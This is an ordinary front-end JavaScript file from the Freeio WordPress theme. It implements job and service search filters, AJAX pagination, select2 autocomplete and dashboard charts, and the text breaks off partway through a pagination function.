/home/mobivsrd/public_html/wp-contentMXc/themes/freeio/js/job.js
(function($) {
    "use strict";

    var __cache = [];
    $.extend($.apusThemeCore, {
        /**
         *  Initialize scripts
         */
        job_init: function() {
            var self = this;

            self.select2Init();

            self.searchAjaxInit();

            self.listingDetail();

            self.filterListingFnc();

            self.listingBtnFilter();

            setTimeout(function(){
                self.changePaddingTopContent();
                $(window).trigger('resize');
            }, 100);

            $(window).resize(function(){
                setTimeout(function(){
                    self.changePaddingTopContent();
                }, 50);
            });

            self.userLoginRegister();
            
            self.dashboardChart();
            
            // mobile search
            $('.action-show-filters').on('click', function(e){
                $(".action-show-filters + .filter-listing-form, .action-show-filters + #jobs-google-maps, .action-show-filters + .element-user-dashboard").toggle('slow');
            });
            
            if ( $('.jobs-listing-wrapper.main-items-wrapper, .employers-listing-wrapper.main-items-wrapper, .freelancers-listing-wrapper.main-items-wrapper, .projects-listing-wrapper.main-items-wrapper, .services-listing-wrapper.main-items-wrapper').length ) {
                $(document).on('change', 'form.filter-listing-form input, form.filter-listing-form select', function (e) {
                    var form = $(this).closest('form.filter-listing-form');
                    if ( $(this).attr('name') == 'filter-salary-type' ) {
                        form.find('input[name=filter-salary-from]').val('');
                        form.find('input[name=filter-salary-to]').val('');
                    }
                    setTimeout(function(){
                        form.trigger('submit');
                    }, 200);
                });

                $(document).on('submit', 'form.filter-listing-form', function (e) {
                    e.preventDefault();
                    var url = $(this).attr('action');

                    var formData = $(this).find(":input").filter(function(index, element) {
                            return $(element).val() != '';
                        }).serialize();

                    if( url.indexOf('?') != -1 ) {
                        url = url + '&' + formData;
                    } else{
                        url = url + '?' + formData;
                    }
                    self.jobsGetPage( url );
                    return false;
                });
            }
            // Sort Action
            $(document).on('change', 'form.jobs-ordering select.orderby', function(e) {
                e.preventDefault();
                $('form.jobs-ordering').trigger('submit');
            });
            
            $(document).on('submit', 'form.jobs-ordering', function (e) {
                var url = $(this).attr('action');

                var formData = $(this).find(":input").filter(function(index, element) {
                            return $(element).val() != '';
                        }).serialize();
                
                if( url.indexOf('?') != -1 ) {
                    url = url + '&' + formData;
                } else{
                    url = url + '?' + formData;
                }
                self.jobsGetPage( url );
                return false;
            });
            // ajax pagination
            if ( $('.ajax-pagination').length ) {
                self.ajaxPaginationLoad();
            }

            $(document).on('click', '.advance-search-btn', function(e) {
                e.preventDefault();
                $(this).closest('.filter-listing-form').find('.advance-search-wrapper').slideToggle('fast', 'swing');
            });
            


            // message notification
            $('.message-notification').on('click', function (e) {
                e.stopPropagation();
                $('.notifications-wrapper').toggleClass('active');
                $('.message-top .notifications-wrapper.active').perfectScrollbar();
            });

            $('body').on('click', function() {
                if ($('.notifications-wrapper').hasClass('active')) {
                    $('.notifications-wrapper').removeClass('active');
                }
            });
            $('.notifications-wrapper').on('click', function(e) {
                e.stopPropagation();
            });

            $('body').on('click', '.close-filter-sidebar', function(){
                $('.filter-sidebar').removeClass('active');
                $('.filter-sidebar + .over-dark').removeClass('active');
            });

            $(document).on('after_add_service_favorite', function(e, $this, data) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });
            $(document).on('after_remove_service_favorite', function( event, $this, data ) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });

            $(document).on('after_add_project_favorite', function(e, $this, data) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });
            $(document).on('after_remove_project_favorite', function( event, $this, data ) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });

            $(document).on('after_add_job_favorite', function(e, $this, data) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });
            $(document).on('after_remove_job_favorite', function( event, $this, data ) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });

            $(document).on('after_add_employer_favorite', function(e, $this, data) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });
            $(document).on('after_remove_employer_favorite', function( event, $this, data ) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });

            $(document).on('after_add_freelancer_favorite', function(e, $this, data) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });
            $(document).on('after_remove_freelancer_favorite', function( event, $this, data ) {
                $this.replaceWith(data.html);
                $('[data-bs-toggle="tooltip"]').tooltip();
            });

            $('select.filter-role').on('change', function(e) {
                var url = $(this).find(":selected").data('url');
                $(this).closest('form').attr('action', url);
            });
        },
        dashboardChart: function(){
            var self = this;
            
            // freelancer chart
            if ( $('#dashboard_chart_wrapper').length ) {
                var $this = $('#dashboard_chart_wrapper');

                var labels = $this.data('labels');
                var values = $this.data('values');
                var label = $this.data('label');
                var chart_type = $this.data('chart_type');
                var bg_color = $this.data('bg_color');
                var border_color = $this.data('border_color');

                var ctx = $this.get(0).getContext("2d");
                var data = {
                    labels: labels,
                    datasets: [
                        {
                            label: label,
                            backgroundColor: bg_color,
                            borderColor: border_color,
                            borderWidth: 1,
                            data: values
                        },
                    ]
                };

                var options = {
                    //Boolean - Whether the scale should start at zero, or an order of magnitude down from the lowest value
                    scaleBeginAtZero : true,
                    //Boolean - Whether grid lines are shown across the chart
                    scaleShowGridLines : false,
                    //String - Colour of the grid lines
                    scaleGridLineColor : "rgba(0,0,0,.05)",
                    //Number - Width of the grid lines
                    scaleGridLineWidth : 1,
                    //Boolean - Whether to show horizontal lines (except X axis)
                    scaleShowHorizontalLines: true,
                    //Boolean - Whether to show vertical lines (except Y axis)
                    scaleShowVerticalLines: true,
                    //Boolean - If there is a stroke on each bar
                    barShowStroke : false,
                    //Number - Pixel width of the bar stroke
                    barStrokeWidth : 2,
                    //Number - Spacing between each of the X value sets
                    barValueSpacing : 5,
                    //Number - Spacing between data sets within X values
                    barDatasetSpacing : 1,
                    legend: { display: false },

                    tooltips: {
                        enabled: true,
                        mode: 'x-axis',
                        cornerRadius: 4
                    },
                }

                var myBarChart = new Chart(ctx, {
                    type: chart_type,
                    data: data,
                    options: options
                });
            }
            

            // scrollbar notifications
            $('.dashboard-notifications-wrapper').perfectScrollbar();
            
            // employer chart
            var self = this;
            var $this = $('#dashboard_job_chart_wrapper');
            if( $this.length <= 0 ) {
                return;
            }

            // select2
            if ( $.isFunction( $.fn.select2 ) && typeof wp_freeio_select2_opts !== 'undefined' ) {
                var select2_args = wp_freeio_select2_opts;
                select2_args['allowClear']              = false;
                select2_args['minimumResultsForSearch'] = 10;
                
                select2_args['language'] = {
                    noResults: function(){
                        return wp_freeio_select2_opts.language_result;
                    }
                };
                
                select2_args['width'] = '100%';

                $('.stats-graph-search-form select').select2( select2_args );
            }


            var post_id = $this.data('post_id');
            var nb_days = $this.data('nb_days');
            self.dashboardChartAjaxInit($this, post_id, nb_days);

            $('form.stats-graph-search-form select[name="post_id"]').on('change', function(){
                $('form.stats-graph-search-form').trigger('submit');
            });

            $('form.stats-graph-search-form select[name="nb_days"]').on('change', function(){
                $('form.stats-graph-search-form').trigger('submit');
            });

            $('form.stats-graph-search-form').on('submit', function(e){
                e.preventDefault();
                var post_id = $('form.stats-graph-search-form select[name="post_id"]').val();
                var nb_days = $('form.stats-graph-search-form select[name="nb_days"]').val();
                self.dashboardChartAjaxInit($this, post_id, nb_days);
                return false;
            });

        },
        dashboardChartAjaxInit: function($this, post_id, nb_days) {
            var self = this;
            if( $this.length <= 0 ) {
                return;
            }
            if ( $this.hasClass('loading') ) {
                return;
            }
            $this.addClass('loading');

            var ajaxurl = freeio_job_opts.ajaxurl;
            if ( typeof wp_freeio_opts.ajaxurl_endpoint !== 'undefined' ) {
                ajaxurl =  wp_freeio_opts.ajaxurl_endpoint.toString().replace( '%%endpoint%%', 'freeio_get_job_chart' );
            }

            $.ajax({
                url: ajaxurl,
                type:'POST',
                dataType: 'json',
                data: {
                    action: 'freeio_get_job_chart',
                    post_id: post_id,
                    nb_days: nb_days,
                    nonce: $this.data('nonce'),
                }
            }).done(function(response) {
                if (response.status == 'error') {
                    $this.remove();
                } else {
                    var ctx = $this.get(0).getContext("2d");

                    var data = {
                        labels: response.stats_labels,
                        datasets: [
                            {
                                label: response.stats_view,
                                backgroundColor: response.bg_color,
                                borderColor: response.border_color,
                                borderWidth: 1,
                                data: response.stats_values
                            },
                        ]
                    };

                    var options = {
                        //Boolean - Whether the scale should start at zero, or an order of magnitude down from the lowest value
                        scaleBeginAtZero : true,
                        //Boolean - Whether grid lines are shown across the chart
                        scaleShowGridLines : false,
                        //String - Colour of the grid lines
                        scaleGridLineColor : "rgba(0,0,0,.05)",
                        //Number - Width of the grid lines
                        scaleGridLineWidth : 1,
                        //Boolean - Whether to show horizontal lines (except X axis)
                        scaleShowHorizontalLines: true,
                        //Boolean - Whether to show vertical lines (except Y axis)
                        scaleShowVerticalLines: true,
                        //Boolean - If there is a stroke on each bar
                        barShowStroke : false,
                        //Number - Pixel width of the bar stroke
                        barStrokeWidth : 2,
                        //Number - Spacing between each of the X value sets
                        barValueSpacing : 5,
                        //Number - Spacing between data sets within X values
                        barDatasetSpacing : 1,
                        legend: { display: false },

                        tooltips: {
                            enabled: true,
                            mode: 'x-axis',
                            cornerRadius: 4
                        },
                    }

                    if (typeof self.myBarChart !== 'undefined') {
                        self.myBarChart.destroy();
                    }

                    self.myBarChart = new Chart(ctx, {
                        type: response.chart_type,
                        data: data,
                        options: options
                    });
                }
                $this.removeClass('loading');
            });
        },
        select2Init: function() {
            // select2
            var self = this;
            if ( $.isFunction( $.fn.select2 ) && typeof wp_freeio_select2_opts !== 'undefined' ) {
                var select2_args = wp_freeio_select2_opts;
                select2_args['allowClear'] = true;
                select2_args['minimumResultsForSearch'] = 10;
                select2_args['language'] = {
                    noResults: function (params) {
                        return select2_args['language_result'];
                    }
                }

                $('.select-taxonomy-search' ).each(function(){
                    self.select2SearchInit($(this), select2_args, false);
                });

                $('.select-field-region-search' ).each(function(){
                    self.select2SearchInit( $(this), select2_args, true );
                });

                $('body').on('change', 'select.select-field-region-search', function(){
                    var val = $(this).val();
                    var next = $(this).data('next');
                    var main_select = 'select.select-field-region-search' + next;
                    if ( $(main_select).length > 0 ) {
                        $(main_select).val(null).trigger("change");
                    }
                });
                
                $('select[name=email_frequency]').select2( select2_args );

                if( $('.widget-listing-search-form.horizontal select').length ){
                    select2_args.theme = 'default customizer-search';
                }

                $('.filter-listing-form select:not(.select-taxonomy-search, .select-field-region-search)').select2( select2_args );
                select2_args.theme = 'default';
            }
        },
        select2SearchInit: function($element, select2_args, region) {
            $element.select2({
                allowClear: true,
                width: '100%',
                dir: select2_args['dir'],
                language: {
                    noResults: function (params) {
                        return select2_args['language_result'];
                    },
                    inputTooShort: function () {
                        return select2_args['formatInputTooShort_text'];
                    }
                },
                minimumInputLength: 2,
                ajax: {
                    url: wp_freeio_opts.ajaxurl_endpoint.toString().replace( '%%endpoint%%', 'wpjb_search_terms' ),
                    dataType: 'json',
                    delay: 250,
                    data: function (params) {
                        if ( region ) {
                            var parent_id = 0;
                            var prev = $element.data('prev');
                            var prev_select = $('.select-field-region-search' + prev);
                            if ( prev_select.length ) {
                                parent_id = prev_select.val();
                                if ( !parent_id ) {
                                    parent_id = 'lost-parent';
                                }

                            }
                            var query = {
                                search: params.term,
                                page: params.page || 1,
                                taxonomy: $element.data('taxonomy'),
                                parent: parent_id,
                                prev: prev
                            }
                        } else {
                            var query = {
                                search: params.term,
                                page: params.page || 1,
                                taxonomy: $element.data('taxonomy'),
                                parent: '',
                                prev: '',
                            }
                        }


                        // Query parameters will be ?search=[term]&type=public
                        return query;
                    },
                    processResults: function (data, params) {
                        params.page = params.page || 1;

                        return {
                            results: $.map(data.results, function (item) {
                                return {
                                    text: item.name,
                                    id: item.id
                                }
                            }),
                            pagination: {
                                more: params.page < data.pages
                            }
                        };
                    },
                    transport: function(params, success, failure) {
                        //retrieve the cached key or default to _ALL_
                        var __cachekey = params.data.search + '-' + params.data.taxonomy + '-' + params.data.page + '-' + params.data.parent + params.data.prev;

                        if ('undefined' !== typeof __cache[__cachekey]) {
                            //display the cached results
                            success(__cache[__cachekey]);
                            return; /* noop */
                        }
                        var $request = $.ajax(params);
                        $request.then(function(data) {
                            //store data in cache
                            __cache[__cachekey] = data;
                            //display the results
                            success(__cache[__cachekey]);
                        });
                        $request.fail(failure);
                        return $request;
                    },
                    cache: true
                }
                
            });
        },
        changePaddingTopContent: function() {
            var admin_bar_h = 0;
            var footer_h = $('#apus-footer').outerHeight();
            if ( $('#wpadminbar').length ){
                var admin_bar_h = $('#wpadminbar').outerHeight();
            }
            if ($(window).width() >= 992) {
                if($('body.page-template-page-dashboard').length){
                    $('body.page-template-page-dashboard').css({ 'margin-bottom': footer_h });
                }
            } else {
                if($('body.page-template-page-dashboard').length){
                    $('body.page-template-page-dashboard').css({ 'margin-bottom': 0 });
                }
            }
            if ($(window).width() >= 1200) {
                var header_h = $('#apus-header').outerHeight();
                
                var header_top_h = header_h;
                var header_main_content_h = header_h - admin_bar_h;
                $('body.page-template-page-dashboard #apus-header, body.fix-header #apus-header').css({ 'top': admin_bar_h });
                $('body.page-template-page-dashboard #apus-main-content').css({ 'padding-top': header_h });
                if ( $('.layout-type-fullwidth .filter-sidebar').length ) {
                    $('.layout-type-fullwidth .filter-sidebar').css({ 'top': header_h, 'height': 'calc( 100vh - ' + header_h + 'px )' });
                    $('#apus-main-content').css({ 'padding-top': header_main_content_h });
                }
                $('.inner-dashboard.container-fluid .sidebar').css({ 'top': header_h, 'height': 'calc( 100vh - ' + header_h + 'px )' });

                $('.tabs-product.sticky-top').css({
                    'top': admin_bar_h
                });
            } else {
                var header_h = $('#apus-header-mobile').outerHeight();

                if ( $('#jobs-google-maps').is('.fix-map') ) {
                    var header_top_h = header_h + admin_bar_h;
                    var header_main_content_h = header_h - admin_bar_h;
                } else if ( $('.layout-type-fullwidth .filter-sidebar').length ) {
                    if ($(window).width() >= 992) {
                        var header_top_h = header_h + admin_bar_h;
                    } else {
                        var header_top_h = header_h - admin_bar_h;
                    }
                    $('.layout-type-fullwidth .filter-sidebar').css({ 'padding-top': header_top_h, 'height': 'calc( 100vh - ' + header_top_h + 'px )' });
                }
                
                $('body.page-template-page-dashboard #apus-main-content').css({ 'padding-top': 0 });
                $('.inner-dashboard.container-fluid .sidebar').css({ 'top': header_h, 'height': 'calc( 100vh - ' + header_h + 'px )' });

                $('.tabs-product.sticky-top').css({
                    'top': header_h
                });
            }
            if ($('#jobs-google-maps').is('.fix-map')) {
                header_top_h = header_h + admin_bar_h;
                $('#jobs-google-maps').css({ 'top': header_top_h, 'height': 'calc(100vh - ' + header_top_h+ 'px)' });
                if ($(window).width() >= 1200) {
                    $('#apus-main-content').css({ 'padding-top': header_h });
                } else {
                    $('#apus-main-content').css({ 'padding-top': 0 });
                }
            }
            
            // header transparent
            $('.header_transparent .apus-header').css({
                top: admin_bar_h
            });
        },
        searchAjaxInit: function() {
            if ( $.isFunction( $.fn.typeahead ) ) {
                $('.apus-autocompleate-input').each(function(){
                    var $this = $(this);
                    var $action = 'freeio_autocomplete_search_jobs';
                    if ( $this.hasClass('autocompleate-service') ) {
                        $action = 'freeio_autocomplete_search_services';
                    } else if ( $this.hasClass('autocompleate-project') ) {
                        $action = 'freeio_autocomplete_search_projects';
                    } else if ( $this.hasClass('autocompleate-job') ) {
                        $action = 'freeio_autocomplete_search_jobs';
                    } else if ( $this.hasClass('autocompleate-employer') ) {
                        $action = 'freeio_autocomplete_search_employers';
                    } else if ( $this.hasClass('autocompleate-freelancer') ) {
                        $action = 'freeio_autocomplete_search_freelancers';
                    }
                    $this.typeahead({
                            'hint': true,
                            'highlight': true,
                            'minLength': 2,
                            'limit': 10
                        }, {
                            name: 'search',
                            source: function (query, processSync, processAsync) {
                                processSync([freeio_job_opts.empty_msg]);
                                $this.closest('.twitter-typeahead').addClass('loading');

                                var values = {};
                                $.each($this.closest('form').serializeArray(), function (i, field) {
                                    values[field.name] = field.value;
                                });

                                return $.ajax({
                                    url: wp_freeio_opts.ajaxurl_endpoint.toString().replace( '%%endpoint%%', $action ),
                                    type: 'GET',
                                    data: {
                                        'search': query,
                                        'data': values
                                    },
                                    dataType: 'json',
                                    success: function (json) {
                                        $this.closest('.twitter-typeahead').removeClass('loading');
                                        $this.closest('.has-suggestion').removeClass('active');
                                        return processAsync(json);
                                    }
                                });
                            },
                            templates: {
                                empty : [
                                    '<div class="empty-message">',
                                    freeio_job_opts.empty_msg,
                                    '</div>'
                                ].join('\n'),
                                suggestion: function(data) {
                                    return '<a href="'+ data.url +'" class="media autocompleate-media">\
                                    <div class="media-left media-middle">\
                                        <img src="'+ data.image +'" class="media-object" height="50" width="50">\
                                    </div>\
                                    <div class="media-body media-middle">\
                                        <h4>'+ data.title +'</h4>\
                                        '+ data.salary +'\
                                    </div></a>';
                                }
                            },
                        }
                    );
                    $this.on('typeahead:selected', function (e, data) {
                        e.preventDefault();
                        setTimeout(function(){
                            $('.apus-autocompleate-input').val(data.title);    
                        }, 5);
                        
                        return false;
                    });
                });
            }
        },
        listingDetail: function() {
            var self = this;
            $('.submit-a-proposal-btn').on('click', function(){
                $('html, body').animate({
                    scrollTop: $("#project-proposal-form-wrapper").offset().top - 100
                }, 300);
            });

            $( 'body' ).on( 'init', '#project-proposal-form-wrapper', function() {
                var hash  = window.location.hash;
                if ( hash === '#project-proposal-form-wrapper' ) {
                    $('html, body').animate({
                        scrollTop: $("#project-proposal-form-wrapper").offset().top - 100
                    }, 300);
                }
            } );
        },
        listingBtnFilter: function(){
            $('.btn-view-map').on('click', function(e){
                e.preventDefault();
                $('#jobs-google-maps').removeClass('d-none').removeClass('d-lg-block');
                $('.content-listing .jobs-listing-wrapper').addClass('d-none').addClass('d-lg-block');
                $('.content-listing .services-listing-wrapper').addClass('d-none').addClass('d-lg-block');
                $('.content-listing .freelancers-listing-wrapper').addClass('d-none').addClass('d-lg-block');
                $('.btn-view-listing').removeClass('d-none').removeClass('d-lg-block');
                $(this).addClass('d-none').addClass('d-lg-block');
                $('.jobs-pagination-wrapper').addClass('p-fix-pagination');
                $('.services-pagination-wrapper').addClass('p-fix-pagination');
                setTimeout(function() {
                    $(window).trigger('pxg:refreshmap');
                });
            });
            $('.btn-view-listing').on('click', function(e){
                e.preventDefault();
                $('#jobs-google-maps').addClass('d-none').addClass('d-lg-block');
                $('.content-listing .jobs-listing-wrapper').removeClass('d-none').removeClass('d-lg-block');
                $('.content-listing .services-listing-wrapper').removeClass('d-none').removeClass('d-lg-block');
                $('.content-listing .freelancers-listing-wrapper').removeClass('d-none').removeClass('d-lg-block');
                $('.btn-view-map').removeClass('d-none').removeClass('d-lg-block');
                $(this).addClass('d-none').addClass('d-lg-block');
                $('.jobs-pagination-wrapper').removeClass('p-fix-pagination');
                $('.services-pagination-wrapper').removeClass('p-fix-pagination');
                $('.freelancers-pagination-wrapper').removeClass('p-fix-pagination');
            });
            
            $(document).on('click', '.show-filter-jobs, .filter-in-sidebar', function(){
                $('.offcanvas-filter-sidebar').toggleClass('active');
                $('.offcanvas-filter-sidebar + .over-dark').toggleClass('active');
            });
            $(document).on('click', '.offcanvas-filter-sidebar + .over-dark', function(){
                $('.offcanvas-filter-sidebar').removeClass('active');
                $('.offcanvas-filter-sidebar + .over-dark').removeClass('active');
            });
        },

        userLoginRegister: function(){
            var self = this;
            
            $('.message-meeting-wrapper').perfectScrollbar();

            $(".show_hide_password a").on('click', function(event) {
                event.preventDefault();
                if($(this).siblings('input').attr("type") == "text"){
                    $(this).attr('title', freeio_job_opts.show);
                    $(this).siblings('input').attr('type', 'password');
                    $(this).find('span').addClass( "dashicons-hidden" );
                    $(this).find('span').removeClass( "dashicons-visibility" );
                } else if($(this).siblings('input').attr("type") == "password"){
                    $(this).attr('title', freeio_job_opts.hide);
                    $(this).siblings('input').attr('type', 'text');
                    $(this).find('span').removeClass( "dashicons-hidden" );
                    $(this).find('span').addClass( "dashicons-visibility" );
                }
            });
        },

        filterListingFnc: function(){
            $('body').on('click', '.btn-show-filter, .offcanvas-filter-sidebar + .over-dark', function(){
                $('.offcanvas-filter-sidebar, .offcanvas-filter-sidebar + .over-dark').toggleClass('active');
                //$('.offcanvas-filter-sidebar').perfectScrollbar();
            });
            
            $('body').on('click', '.tax-radios-field .form-group-inner ul span.caret-wrapper, .tax-checklist-field .form-group-inner ul span.caret-wrapper', function(){
                var con = $(this).closest('.list-item');
                con.find('> ul').slideToggle();
            });


            $('form .toggle-field.hide-content .heading-label i').removeClass('fa-angle-down').addClass('fa-angle-up');
            $('body').on('click', 'form .toggle-field .heading-label', function(){
                if ( $(this).find('i').hasClass('fa-angle-down') ) {
                    $(this).find('i').removeClass('fa-angle-down').addClass('fa-angle-up');
                } else {
                    $(this).find('i').removeClass('fa-angle-up').addClass('fa-angle-down');
                }
                var parent_e = $(this).closest('.form-group');
                setTimeout(function(){
                    
                    if ( parent_e.hasClass('tax-viewmore-field') ) {
                        var height = parent_e.find('.terms-list').outerHeight();
                        if ( height > 190 ) {
                            parent_e.addClass('show-more');
                        }
                    }
                }, 300);
            });

            $('.tax-viewmore-field').each(function(){
                var height = $(this).find('.terms-list').outerHeight();
                if ( height > 190 ) {
                    $(this).addClass('show-more');
                }
            });

            $(document).on('click', '.toggle-filter-viewmore', function() {
                var $this = $(this);
                var container = $(this).closest('.tax-viewmore-field');

                if ( container.hasClass('show-more') ) {
                    container.addClass('show-less').removeClass('show-more');
                    $this.find('.text').text(wp_freeio_opts.show_less);
                } else {
                    container.addClass('show-more').removeClass('show-less');
                    $this.find('.text').text(wp_freeio_opts.show_more);
                }

            });

            $('.reset-search-btn').on('click', function(e){
                e.preventDefault();
                
                var $form = $( this ).closest( 'form' );

                $form.find(':input').not( ':input[type="hidden"]' ).val( '' ).trigger( 'change.select2' );
                $('.main-range-slider').each(function(){
                    var $this = $(this);
                    $this.slider("values", 0, $this.data('min'));
                    $this.slider("values", 1, $this.data('max'));
                    $this.closest('.form-group-inner').find('.filter-from').val($this.data('min'));
                    $this.closest('.form-group-inner').find('.filter-to').val($this.data('max'));

                    $this.closest('.form-group-inner').find('.from-text').val($this.data('min'));
                    $this.closest('.form-group-inner').find('.to-text').val($this.data('max'));
                });

                $form.find('.search-form-inner input:checked').each(function(i, obj) {
                    
                    $(obj).attr('checked', false);
                    $(obj).prop('checked', false);
                });

                $('.price-range-slider').each(function(){
                    var $this = $(this);
                    var $from_price = $this.data('min');
                    var $to_price = $this.data('max');

                    $this.slider("values", 0, $this.data('min'));
                    $this.slider("values", 1, $this.data('max'));

                    if ( wp_realestate_opts.enable_multi_currencies === 'yes' ) {
                        $from_price = self.shortenNumber($from_price);
                        $to_price = self.shortenNumber($to_price);
                    } else {
                        $from_price = self.addCommas($from_price);
                        $to_price = self.addCommas($to_price);
                    }

                    $this.closest('.form-group-inner').find('.from-text .price-text').text( $from_price );
                    $this.closest('.form-group-inner').find('.filter-from').val( $this.data('min') )
                    $this.closest('.form-group-inner').find('.to-text .price-text').text( $to_price );
                    $this.closest('.form-group-inner').find('.filter-to').val( $this.data('max') );

                });

                var $advanced = $(this).closest('.advance-search-wrapper-fields');

                $advanced.find(':input').not( ':input[type="hidden"]' ).val( '' ).trigger( 'change.select2' );
                $('.main-range-slider').each(function(){
                    var $this = $(this);
                    $this.slider("values", 0, $this.data('min'));
                    $this.slider("values", 1, $this.data('max'));
                    $this.closest('.form-group-inner').find('.filter-from').val($this.data('min'));
                    $this.closest('.form-group-inner').find('.filter-to').val($this.data('max'));

                    $this.closest('.form-group-inner').find('.from-text').val($this.data('min'));
                    $this.closest('.form-group-inner').find('.to-text').val($this.data('max'));
                });

                $advanced.find('input:checked').each(function(i, obj) {
                    
                    $(obj).attr('checked', false);
                    $(obj).prop('checked', false);
                });

                if ( $('.services-listing-wrapper.main-items-wrapper').length ) {
                    $form.trigger('submit');
                }
                if ( $('.projects-listing-wrapper.main-items-wrapper').length ) {
                    $form.trigger('submit');
                }
                if ( $('.jobs-listing-wrapper.main-items-wrapper').length ) {
                    $form.trigger('submit');
                }
                if ( $('.employers-listing-wrapper.main-items-wrapper').length ) {
                    $form.trigger('submit');
                }
                if ( $('.freelancers-listing-wrapper.main-items-wrapper').length ) {
                    $form.trigger('submit');
                }
            });
        },
        jobsGetPage: function(pageUrl, isBackButton){
            var self = this;
            if (self.filterAjax) { return false; }

            self.jobsSetCurrentUrl();

            if (pageUrl) {
                // Show 'loader' overlay
                self.jobsShowLoader();
                
                // Make sure the URL has a trailing-slash before query args (301 redirect fix)
                pageUrl = pageUrl.replace(/\/?(\?|#|$)/, '/$1');
                
                if (!isBackButton) {
                    self.setPushState(pageUrl);
                }

                var settings = $('body').find('.main-items-wrapper').data('settings');
                var pagination_settings = $('body').find('.main-pagination-wrapper').data('settings');
                self.filterAjax = $.ajax({
                    url: pageUrl,
                    data: {
                        load_type: 'full',
                        settings: settings,
                        pagination_settings: pagination_settings,
                    },
                    dataType: 'html',
                    cache: false,
                    headers: {'cache-control': 'no-cache'},
                    
                    method: 'POST', // Note: Using "POST" method for the Ajax request to avoid "load_type" query-string in pagination links
                    
                    error: function(XMLHttpRequest, textStatus, errorThrown) {
                        console.log('Apus: AJAX error - jobsGetPage() - ' + errorThrown);
                        
                        // Hide 'loader' overlay (after scroll animation)
                        self.jobsHideLoader();
                        
                        self.filterAjax = false;
                    },
                    success: function(response) {
                        // Update jobs content
                        self.jobsUpdateContent(response);
                        
                        self.filterAjax = false;
                    }
                });
                
            }
        },
        jobsHideLoader: function(){
            $('body').find('.main-items-wrapper').removeClass('loading');
        },
        jobsShowLoader: function(){
            $('body').find('.main-items-wrapper').addClass('loading');
        },
        setPushState: function(pageUrl) {
            window.history.pushState({apusShop: true}, '', pageUrl);
        },
        jobsSetCurrentUrl: function() {
            var self = this;
            
            // Set current page URL
            self.searchAndTagsResetURL = window.location.href;
        },
        /**
         *  Properties: Update jobs content with AJAX HTML
         */
        jobsUpdateContent: function(ajaxHTML) {
            var self = this,
                $ajaxHTML = $('<div>' + ajaxHTML + '</div>');

            var $jobs = $ajaxHTML.find('.main-items-wrapper'),
                $pagination = $ajaxHTML.find('.main-pagination-wrapper'),
                $resultCount = $ajaxHTML.find('.results-count'),
                $orderby = $ajaxHTML.find('form.jobs-ordering'),
                $resultFilter = $ajaxHTML.find('.results-filter-wrapper');

            // Replace jobs
            if ($jobs.length) {
                $('.main-items-wrapper').replaceWith($jobs);
            }
            // Replace pagination
            if ($pagination.length) {
                $('.main-pagination-wrapper').replaceWith($pagination);
            }

            if ($resultCount.length) {
                $('.results-count').replaceWith($resultCount);
            }
            if ($orderby.length) {
                $('form.jobs-ordering').replaceWith($orderby);
            }
            if ($resultFilter.length) {
                $('.element-results-filter-wrapper').html($resultFilter);
            }

            // Load images (init Unveil)
            self.layzyLoadImage();
            // pagination
            if ( $('.ajax-pagination').length ) {
                self.infloadScroll = false;
                self.ajaxPaginationLoad();
            }

            if ( $.isFunction( $.fn.select2 ) && typeof wp_freeio_select2_opts !== 'undefined' ) {
                var select2_args = wp_freeio_select2_opts;
                select2_args['allowClear']              = false;
                select2_args['minimumResultsForSearch'] = 10;
                select2_args['language'] = {
                    noResults: function (params) {
                        return select2_args['language_result'];
                    }
                }
                select2_args['minimumResultsForSearch'] = 10;
                select2_args['width'] = 'auto';
                
                $('select.orderby').select2( select2_args );
            }

            self.updateMakerCards();
            setTimeout(function() {
                // Hide 'loader'
                self.jobsHideLoader();
            }, 100);
        },

        /**
         *  Shop: Initialize infinite load
         */
        ajaxPaginationLoad: function() {
            var self = this,
                $infloadControls = $('body').find('.ajax-pagination'),                   
                nextPageUrl;

            self.infloadScroll = ($infloadControls.hasClass('infinite-action')) ? true : false;
            
            if (self.infloadScroll) {
                self.infscrollLock = false;
                
                var pxFromWindowBottomToBottom,
                    pxFromMenuToBottom = Math.round($(document).height() - $infloadControls.offset().top);
                    //bufferPx = 0;
                
                /* Bind: Window resize event to re-calculate the 'pxFromMenuToBottom' value (so the items load at the correct scroll-position) */
                var to = null;
                $(window).resize(function() {
                    if (to) { clearTimeout(to); }
                    to = setTimeout(function() {
                        var $infloadControls = $('.ajax-pagination'); // Note: Don't cache, element is dynamic
                        pxFromMenuToBottom = Math.round($(document).height() - $infloadControls.offset().top);
                    }, 100);
                });
                
                $(window).scroll(function(){
                    if (self.infscrollLock) {
                        return;
                    }
                    
                    pxFromWindowBottomToBottom = 0 + $(document).height() - ($(window).scrollTop()) - $(window).height();
                    
                    // If distance remaining in the scroll (including buffer) is less than the pagination element to bottom:
                    if (pxFromWindowBottomToBottom < pxFromMenuToBottom) {
                        self.ajaxPaginationGet();
                    }
                });
            } else {
                var $productsWrap = $('body');
                /* Bind: "Load" button */
                $productsWrap.on('click', '.main-pagination-wrapper .apus-loadmore-btn', function(e) {
                    e.preventDefault();
                    self.ajaxPaginationGet();
                });
                
            }
            
            if (self.infloadScroll) {
                $(window).trigger('scroll'); // Trigger scroll in case the pagination element (+buffer) is above the window bottom
            }
        },
        /**
         *  Shop: AJAX load next page
         */
        ajaxPaginationGet: function() {
            var self = this;
            
            if (self.filterAjax) return false;
            
            // Get elements (these can be replaced with AJAX, don't pre-cache)
            var $nextPageLink = $('.apus-pagination-next-link').find('a'),
                $infloadControls = $('.ajax-pagination'),
                nextPageUrl = $nextPageLink.attr('href');
            
            if (nextPageUrl) {
                // Show 'loader'
                $infloadControls.addClass('apus-loader');
                
                // self.setPushState(nextPageUrl);
                var settings = $('body').find('.main-items-wrapper').data('settings');
                self.filterAjax = $.ajax({
                    url: nextPageUrl,
                    data: {
                        load_type: 'items',
                        settings: settings,
                    },
                    dataType: 'html',
